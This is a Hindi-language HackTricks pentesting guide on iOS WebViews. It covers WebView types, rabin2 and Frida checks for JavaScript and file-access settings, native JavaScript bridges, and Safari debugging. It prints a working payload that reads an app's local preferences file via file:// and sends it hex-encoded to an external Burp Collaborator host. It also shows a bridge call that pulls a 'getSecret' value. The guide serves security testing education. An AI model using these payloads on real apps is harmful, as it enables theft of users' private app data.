hacktricks/mobile-pentesting/ios-pentesting/ios-webviews.md

29 KiB

iOS वेबव्यू

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

इस पृष्ठ का कोड यहाँ से निकाला गया था। अधिक विवरण के लिए पृष्ठ की जाँच करें।

वेबव्यू प्रकार

एप्लिकेशन में वेब सामग्री को इंटरैक्टिव रूप से प्रदर्शित करने के लिए वेबव्यू का उपयोग किया जाता है। iOS एप्लिकेशनों के लिए विभिन्न प्रकार के वेबव्यू विभिन्न कार्यक्षमताएं और सुरक्षा सुविधाएं प्रदान करते हैं। यहाँ एक संक्षिप्त अवलोकन है:

  • UIWebView, जिसे iOS 12 के बाद अब अनुशंसित नहीं माना जाता है क्योंकि इसमें JavaScript को अक्षम करने का समर्थन नहीं है, जिससे यह स्क्रिप्ट इन्जेक्शन और Cross-Site Scripting (XSS) हमलों के लिए संवेदनशील हो जाता है।

  • WKWebView एप्लिकेशन में वेब सामग्री को शामिल करने के लिए पसंदीदा विकल्प है, जो सामग्री और सुरक्षा सुविधाओं पर बेहतर नियंत्रण प्रदान करता है। JavaScript डिफ़ॉल्ट रूप से सक्षम है, लेकिन आवश्यकता होने पर इसे अक्षम किया जा सकता है। यह भी सुनिश्चित करने के लिए सुविधाएं समर्थन करता है कि JavaScript स्वचालित रूप से विंडोज़ खोलने से रोका जाए और सुनिश्चित करता है कि सभी सामग्री सुरक्षित रूप से लोड हो। इसके अतिरिक्त, WKWebView की वास्तुकला मुख्य ऐप प्रक्रिया पर प्रभाव डालने वाले मेमोरी करप्शन के जोखिम को कम करती है।

  • SFSafariViewController एप्लिकेशन के भीतर एक मानकीकृत वेब ब्राउज़िंग अनुभव प्रदान करता है, जिसे इसके विशेष लेआउट के द्वारा पहचाना जाता है जिसमें एक केवल पठनीय पता क्षेत्र, साझा और नेविगेशन बटन, और सीधा लिंक शामिल है जिससे सफारी में सामग्री खोलने का सीधा लिंक होता है। SFSafariViewController में JavaScript को अक्षम नहीं किया जा सकता, जो भी सफारी के साथ कुकीज़ और डेटा साझा करता है, एप्लिकेशन से उपयोक्ता की गोपनीयता को बनाए रखता है। इसे ऐप स्टोर दिशानिर्देशों के अनुसार प्रमुखता से प्रदर्शित किया जाना चाहिए।

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

वेबव्यू कॉन्फ़िगरेशन अन्वेषण सारांश

स्थैतिक विश्लेषण अवलोकन

WebViews कॉन्फ़िगरेशन की जांच की प्रक्रिया में, दो प्रमुख प्रकार पर ध्यान केंद्रित हैं: UIWebView और WKWebView। इन वेबव्यू को एक बाइनरी में पहचानने के लिए, आवश्यकता के अनुसार कमांड प्रयोग किए जाते हैं, विशेष क्लास संदर्भ और प्रारंभीकरण विधियों की खोज के लिए।

  • UIWebView पहचान
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

यह कमांड बाइनरी में इससे संबंधित पाठ स्ट्रिंग की खोज करके UIWebView की घटनाओं को ढूंढने में मदद करता है।

  • WKWebView पहचान
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

इसी तरह, WKWebView के लिए, यह कमांड उसके उपयोग की संकेतक टेक्स्ट स्ट्रिंग के लिए बाइनरी में खोज करता है।

इसके अतिरिक्त, WKWebView कैसे आरंभित होता है, यह पता करने के लिए निम्नलिखित कमांड को निष्पादित किया जाता है, जो इसके आरंभिकरण से संबंधित मेथड सिग्नेचर को लक्षित करता है:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

जावास्क्रिप्ट कॉन्फ़िगरेशन सत्यापन

WKWebView के लिए, यह उजागर किया गया है कि जब तक आवश्यक न हो, तब तक जावास्क्रिप्ट को अक्षम करना सर्वोत्तम प्रथा है। कंपाइल किया गया बाइनरी खोजा जाता है ताकि सुनिश्चित किया जा सके कि javaScriptEnabled प्रॉपर्टी को false पर सेट किया गया है, जिससे यह सुनिश्चित हो कि जावास्क्रिप्ट अक्षम है:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

केवल सुरक्षित सामग्री सत्यापन

WKWebView मिश्रित सामग्री समस्याओं की पहचान करने की क्षमता प्रदान करता है, UIWebView के विपरीत। इसे सुनिश्चित करने के लिए hasOnlySecureContent गुण का उपयोग किया जाता है कि सभी पृष्ठ संसाधन सुरक्षित कनेक्शन के माध्यम से लोड किए गए हैं। संकलित बाइनरी में खोज निम्नलिखित प्रकार से की जाती है:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

गतिशील विश्लेषण अंतर्दृष्टि

गतिशील विश्लेषण में हीप की जांच शामिल है WebView उदाहरणों और उनकी गुणधर्मों के लिए। इस उद्देश्य के लिए webviews_inspector.js नामक एक स्क्रिप्ट का उपयोग किया जाता है, जो UIWebView, WKWebView, और SFSafariViewController उदाहरणों को लक्षित करता है। यह पाए गए उदाहरणों के बारे में जानकारी लॉग करता है, जिसमें URL और JavaScript और सुरक्षित सामग्री से संबंधित सेटिंग्स शामिल हैं।

हीप जांच को ObjC.choose() का उपयोग करके किया जा सकता है ताकि WebView उदाहरणों की पहचान की जा सके और javaScriptEnabled और hasonlysecurecontent गुणधर्मों की जांच की जा सके।

{% code title="webviews_inspector.js" %}

ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

{% endcode %}

स्क्रिप्ट निम्नलिखित के साथ निष्पादित किया जाता है:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

मुख्य परिणाम:

  • वेबव्यू की घटनाएं सफलतापूर्वक पता लगाई और जांची गई।
  • जावास्क्रिप्ट सक्षमता और सुरक्षित सामग्री सेटिंग सत्यापित की गई।

यह सारांश WebView कॉन्फ़िगरेशन का विश्लेषण करने के महत्वपूर्ण चरणों और आदेशों को संक्षेपित करता है, स्थिर और गतिशील दोनों दृष्टिकोणों से, जैसे जावास्क्रिप्ट सक्षमता और मिश्रित सामग्री की पहचान पर ध्यान केंद्रित करते हुए।

WebView प्रोटोकॉल हैंडलिंग

WebView में सामग्री को हैंडल करना एक महत्वपूर्ण पहलू है, खासकर जब विभिन्न प्रोटोकॉल जैसे http(s)://, file://, और tel:// का सामना करना हो। ये प्रोटोकॉल ऐप्स में दूरस्थ और स्थानीय सामग्री को लोड करने की संभावना प्रदान करते हैं। जब स्थानीय सामग्री लोड की जाती है, तो उपयोगकर्ताओं को फ़ाइल के नाम या पथ पर प्रभाव डालने से और सामग्री को संपादित करने से बचाने के लिए सावधानियां लेनी चाहिए।

WebViews सामग्री लोड करने के लिए विभिन्न विधियाँ प्रदान करते हैं। UIWebView के लिए, जो अब विचारशील है, विध

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

फ़ाइल एक्सेस के संबंध में, UIWebView इसे सार्वत्रिक रूप से अनुमति देता है, जबकि WKWebView फाइल URLs से एक्सेस को प्रबंधित करने के लिए allowFileAccessFromFileURLs और allowUniversalAccessFromFileURLs सेटिंग पेश करता है, जिनमें दोनों डिफ़ॉल्ट रूप से फॉल्स होते हैं।

एक फ्रिडा स्क्रिप्ट उदाहरण प्रदान किया गया है जो सुरक्षा सेटिंग्स के लिए WKWebView की जांच करने के लिए है:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

अंत में, एक जावास्क्रिप्ट पेलोड का उदाहरण जो स्थानीय फ़ाइलों को बाहर ले जाने का उद्देश्य रखता है, गलत ढंग से कॉन्फ़िगर किए गए वेबव्यूज़ के साथ जुड़ी संभावित सुरक्षा जोखिम को दर्शाता है। इस पेलोड ने फ़ाइल सामग्री को हेक्स प्रारूप में एन्कोड किया पहले उन्हें सर्वर को भेजने से पहले, WebView के कठोर सुरक्षा उपायों के महत्व को उजागर किया।

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

वेबव्यूज़ के माध्यम से उजागरित नेटिव विधियाँ

iOS में वेबव्यू नेटिव इंटरफेस को समझना

iOS 7 के बाद, Apple ने वेबव्यू में जावास्क्रिप्ट और नेटिव Swift या Objective-C ऑब्जेक्ट्स के बीच संचार के लिए एपीआई प्रदान की। यह एकीकरण मुख्य रूप से दो विधियों के माध्यम से सुविधित है:

  • JSContext: जब एक Swift या Objective-C ब्लॉक को JSContext में एक पहचानकर्ता के साथ लिंक किया जाता है, तो एक जावास्क्रिप्ट फ़ंक्शन स्वचालित रूप से बनाया जाता है। इससे जावास्क्रिप्ट और नेटिव कोड के बीच संचार में अविरल एकीकरण संभव होता है।
  • JSExport Protocol: JSExport प्रोटोकॉल को विरासत में लेकर, नेटिव गुण, उदाहरण विधियाँ, और कक्ष विधियाँ जावास्क्रिप्ट को उजागर की जा सकती हैं। इसका मतलब है कि जावास्क्रिप्ट वातावरण में किए गए किसी भी परिवर्तन को नेटिव वातावरण में प्रतिबिंबित किया जाता है, और उल्टा भी। हालांकि, इस विधि के माध्यम से अनजाने में संवेदनशील डेटा को उजागर न होने दिया जाना महत्वपूर्ण है।

Objective-C में JSContext तक पहुंचना

Objective-C में, UIWebView के लिए JSContext को निम्नलिखित कोड लाइन के साथ प्राप्त किया जा सकता है:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

WKWebView के साथ संचार

WKWebView के लिए, JSContext तक पहुंच सीधे उपलब्ध नहीं है। इसके बजाय, postMessage फ़ंक्शन के माध्यम से संदेश पारित किया जाता है, जिससे JavaScript से native संचार संभव होता है। इन संदेशों के लिए हैंडलर निम्नलिखित रूप में सेट किए जाते हैं, जिससे JavaScript native एप्लिकेशन के साथ सुरक्षित रूप से बातचीत कर सकता है:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

इंटरेक्शन और परीक्षण

JavaScript नेटिव लेयर के साथ बातचीत कर सकता है एक स्क्रिप्ट संदेश हैंडलर को परिभाषित करके। इससे वेबपेज से नेटिव फ़ंक्शन को बुलाने जैसे कार्य करने की अनुमति मिलती है:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

एक प्राकृतिक फ़ंक्शन कॉल के परिणाम को कैप्चर और मैनिपुलेट करने के लिए, व्यक्ति HTML के भीतर कॉलबैक फ़ंक्शन को ओवरराइड कर सकता है:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

नेटिव साइड जावास्क्रिप्ट कॉल को JavaScriptBridgeMessageHandler क्लास में हैंडल किया जाता है, जहाँ नंबर को गुणा करने जैसी ऑपरेशन का परिणाम प्रसंस्कृत किया जाता है और उसे जावास्क्रिप्ट के लिए प्रदर्शन या और भी परिवर्तन के लिए वापस भेजा जाता है:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS WebViews को डिबग करना

(ट्यूटोरियल https://blog.vuplex.com/debugging-webviews पर आधारित)

iOS WebViews के भीतर वेब सामग्री को प्रभावी ढंग से डिबग करने के लिए, Safari के डेवलपर टूल्स का एक विशेष सेटअप आवश्यक है क्योंकि console.log() को भेजे गए संदेश Xcode लॉग में प्रदर्शित नहीं होते। यहां एक सरल गाइड है, मुख्य चरणों और आवश्यकताओं पर जोर देते हुए:

  • iOS डिवाइस पर तैयारी: Safari Web Inspector को अपने iOS डिवाइस पर सक्रिय किया जाना चाहिए। इसे करने के लिए Settings > Safari > Advanced पर जाएं, और Web Inspector को सक्षम करें।

  • macOS डिवाइस पर तैयारी: अपने macOS डेवलपमेंट मशीन पर, आपको Safari के भीतर डेवलपर टूल्स को सक्षम करना होगा। Safari लॉन्च करें, Safari > Preferences > Advanced तक पहुंचें, और Show Develop menu विकल्प को चुनें।

  • कनेक्शन और डिबगिंग: अपने iOS डिवाइस को अपने macOS कंप्यूटर से कनेक्ट करने के बाद और अपने एप्लिकेशन को लॉन्च करने के बाद, अपने macOS डिवाइस पर Safari का उपयोग करके डिबग करना चाहिए। Safari के मेनू बार में Develop पर जाएं, अपने iOS डिवाइस के नाम पर होवर करें ताकि आपको वेबव्यू इंस्टेंसेस की सूची दिखाई दे, और जिस इंस्टेंस को आप जांचना चाहते हैं, उसे चुनें। इस उद्देश्य के लिए एक नया Safari Web Inspector विंडो खुलेगा।

हालांकि, सीमाओं का ध्यान रखें:

  • इस तरीके से डिबगिंग करने के लिए एक macOS डिवाइस की आवश्यकता है क्योंकि यह Safari पर निर्भर है।
  • इस तरह के डिबगिंग के लिए केवल Xcode के माध्यम से आपके डिवाइस पर लोड की गई एप्लिकेशन में वेबव्यू को डिबग किया जा सकता है। एप्लिकेशन स्टोर या Apple Configurator के माध्यम से इंस्टॉल की गई एप्लिकेशनों में वेबव्यू को इस तरह से डिबग नहीं किया जा सकता।

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो बनाने के लिए htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके: